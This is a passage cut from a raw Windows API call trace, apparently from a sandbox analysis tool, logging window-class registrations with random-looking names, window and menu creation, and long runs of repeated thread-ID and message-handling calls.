hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.765] RegisterClassA (lpWndClass=0x261fae0) returned 0x2620002c29d [0051.765] CreateWindowExA (dwExStyle=0x4, lpClassName="Xibi", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.765] RegisterClassA (lpWndClass=0x261fae0) returned 0x2660004c29e [0051.766] CreateWindowExA (dwExStyle=0x4, lpClassName="Xzfva", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.766] RegisterClassA (lpWndClass=0x261fae0) returned 0x26a0002c29f [0051.766] CreateWindowExA (dwExStyle=0x4, lpClassName="Rtuu", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.766] RegisterClassA (lpWndClass=0x261fae0) returned 0xd20002c2a0 [0051.766] CreateWindowExA (dwExStyle=0x4, lpClassName="Oxx", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.766] RegisterClassA (lpWndClass=0x261fae0) returned 0xd60003c2a1 [0051.766] CreateWindowExA (dwExStyle=0x4, lpClassName="Hbq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.766] RegisterClassA (lpWndClass=0x261fae0) returned 0xda0002c2a2 [0051.766] CreateWindowExA (dwExStyle=0x4, lpClassName="Xrp", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.766] RegisterClassA (lpWndClass=0x261fae0) returned 0x26e0004c2a3 [0051.766] CreateWindowExA (dwExStyle=0x4, lpClassName="Gblfah", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.766] RegisterClassA (lpWndClass=0x261fae0) returned 0xde0003c2a4 [0051.766] CreateWindowExA (dwExStyle=0x4, lpClassName="Nlm", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.766] RegisterClassA (lpWndClass=0x261fae0) returned 0x2720002c2a5 [0051.767] CreateWindowExA (dwExStyle=0x4, lpClassName="Ncuel", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.767] RegisterClassA (lpWndClass=0x261fae0) returned 0x2760004c2a6 [0051.767] CreateWindowExA (dwExStyle=0x4, lpClassName="Hlkb", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.767] RegisterClassA (lpWndClass=0x261fae0) returned 0xe20002c2a7 [0051.767] CreateWindowExA (dwExStyle=0x4, lpClassName="Jhx", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.767] RegisterClassA (lpWndClass=0x261fae0) returned 0xe60003c2a8 [0051.767] CreateWindowExA (dwExStyle=0x4, lpClassName="Scr", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.767] RegisterClassA (lpWndClass=0x261fae0) returned 0xea0002c2a9 [0051.767] CreateWindowExA (dwExStyle=0x4, lpClassName="Gvm", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.767] RegisterClassA (lpWndClass=0x261fae0) returned 0x27a0002c2aa [0051.767] CreateWindowExA (dwExStyle=0x4, lpClassName="Blvg", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.768] RegisterClassA (lpWndClass=0x261fae0) returned 0x27e0004c2ab [0051.768] CreateWindowExA (dwExStyle=0x4, lpClassName="Ezfjg", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.768] RegisterClassA (lpWndClass=0x261fae0) returned 0xee0003c2ac [0051.768] CreateWindowExA (dwExStyle=0x4, lpClassName="Kfn", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.768] RegisterClassA (lpWndClass=0x261fae0) returned 0x2820002c2ad [0051.768] CreateWindowExA (dwExStyle=0x4, lpClassName="Xitx", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.768] RegisterClassA (lpWndClass=0x261fae0) returned 0x2860004c2ae [0051.768] CreateWindowExA (dwExStyle=0x4, lpClassName="Bzaanx", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.768] RegisterClassA (lpWndClass=0x261fae0) returned 0x28a0002c2af [0051.768] CreateWindowExA (dwExStyle=0x4, lpClassName="Mozhwt", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.768] RegisterClassA (lpWndClass=0x261fae0) returned 0xf20002c2b0 [0051.768] CreateWindowExA (dwExStyle=0x4, lpClassName="Ofz", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.768] RegisterClassA (lpWndClass=0x261fae0) returned 0x28e0004c2b1 [0051.769] CreateWindowExA (dwExStyle=0x4, lpClassName="Ltbjpy", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.769] RegisterClassA (lpWndClass=0x261fae0) returned 0x2920002c2b2 [0051.769] CreateWindowExA (dwExStyle=0x4, lpClassName="Zzfjmr", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.769] RegisterClassA (lpWndClass=0x261fae0) returned 0x2960004c2b3 [0051.769] CreateWindowExA (dwExStyle=0x4, lpClassName="Tzajh", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.769] RegisterClassA (lpWndClass=0x261fae0) returned 0x29a0002c2b4 [0051.769] CreateWindowExA (dwExStyle=0x4, lpClassName="Mxur", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.769] RegisterClassA (lpWndClass=0x261fae0) returned 0x29e0004c2b5 [0051.769] CreateWindowExA (dwExStyle=0x4, lpClassName="Zoavmg", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0052.256] HeapFree (in: hHeap=0x28a0000, dwFlags=0x0, lpMem=0x28a12f0 | out: hHeap=0x28a0000) returned 1 [0052.257] CreateMenu () returned 0x12355 [0052.257] AppendMenuA (hMenu=0x12355, uFlags=0x100, uIDNewItem=0x1, lpNewItem=0x1) returned 1 [0052.257] RtlAllocateHeap (HeapHandle=0x28a0000, Flags=0x8, Size=0x40) returned 0x28a12f0 [0052.258] NtUserDefSetText () returned 0x1 [0052.258] HeapFree (in: hHeap=0x28a0000, dwFlags=0x0, lpMem=0x28a12f0 | out: hHeap=0x28a0000) returned 1 [0052.258] CreateMenu () returned 0x12357 [0052.258] AppendMenuA (hMenu=0x12357, uFlags=0x100, uIDNewItem=0x1, lpNewItem=0x1) returned 1 [0052.258] NtUserCallOneParam (Param=0x12355, Routine=0x32) returned 0x2b26fd0 [0052.258] NtUserCallOneParam (Param=0x12357, Routine=0x32) returned 0x2b27550 [0052.258] NtUserCallOneParam (Param=0x12308, Routine=0x32) returned 0x2b20500 [0052.258] Sleep (dwMilliseconds=0x12c) [0052.570] ShowWindow (hWnd=0x6001e, nCmdShow=5) [0052.570] GetCurrentThreadId () returned 0xee0 [0052.570] __fnDWORD () [0052.570] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0052.571] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x46, wParam=0x0, lParam=0x261fb30) returned 0x0 [0052.620] GetCurrentThreadId () returned 0xee0 [0052.620] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.621] __fnDWORD () [0052.621] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.622] __fnDWORD () [0052.622] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.623] GetCurrentThreadId () returned 0xee0 [0052.623] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.624] GetCurrentThreadId () returned 0xee0 [0052.624] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.625] __fnDWORD () [0052.625] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.626] __fnDWORD () [0052.626] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.627] GetCurrentThreadId () returned 0xee0 [0052.627] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.628] GetCurrentThreadId () returned 0xee0 [0052.628] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.629] __fnDWORD () [0052.629] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.630] __fnDWORD () [0052.630] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.631] __fnDWORD () [0052.631] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.632] GetCurrentThreadId () returned 0xee0 [0052.632] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.633] __fnDWORD () [0052.633] GetCurrentThreadId () returned 0xee0 [0052.634] __fnDWORD () [0052.634] GetCurrentThreadId () returned 0xee0 [0052.634] __fnDWORD () [0052.634] GetCurrentThreadId () returned 0xee0 [0052.634] __fnDWORD () [0052.634] GetCurrentThreadId () returned 0xee0 [0052.634] __fnDWORD () [0052.634] GetCurrentThreadId () returned 0xee0 [0052.634] __fnDWORD () [0052.634] GetCurrentThreadId () returned 0xee0 [0052.634] __fnDWORD () [0052.634] GetCurrentThreadId () returned 0xee0 [0052.634] __fnDWORD () [0052.634] GetCurrentThreadId () returned 0xee0 [0052.637] __fnDWORD () [0052.637] GetCurrentThreadId () returned 0xee0 [0052.637] __fnDWORD () [0052.637] GetCurrentThreadId () returned 0xee0 [0052.637] __fnDWORD () [0052.637] GetCurrentThreadId () returned 0xee0 [0052.637] __fnDWORD () [0052.637] GetCurrentThreadId () returned 0xee0 [0052.637] __fnDWORD () [0052.637] GetCurrentThreadId () returned 0xee0 [0052.637] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.638] GetCurrentThreadId () returned 0xee0 [0052.638] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.639] GetCurrentThreadId () returned 0xee0 [0052.639] __fnDWORD () [0052.640] GetCurrentThreadId () returned 0xee0 [0052.640] __fnDWORD () [0052.640] GetCurrentThreadId () returned 0xee0 [0052.640] __fnDWORD () [0052.640] GetCurrentThreadId () returned 0xee0 [0052.640] __fnDWORD () [0052.642] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0052.643] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0052.664] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0xd, wParam=0x1fe, lParam=0x261ee70) returned 0x0 [0052.665] SetWindowPos (hWnd=0x6001e, hWndInsertAfter=0x1, X=0, Y=0, cx=0, cy=0, uFlags=0x97) returned 1 [0052.665] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x46, wParam=0x0, lParam=0x261fa20) returned 0x0 [0052.666] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x47, wParam=0x0, lParam=0x261fa20) returned 0x0 [0052.667] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x6, wParam=0x1, lParam=0x0) [0052.667] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0052.667] NtCallbackReturn (Result=0x261f6d8, 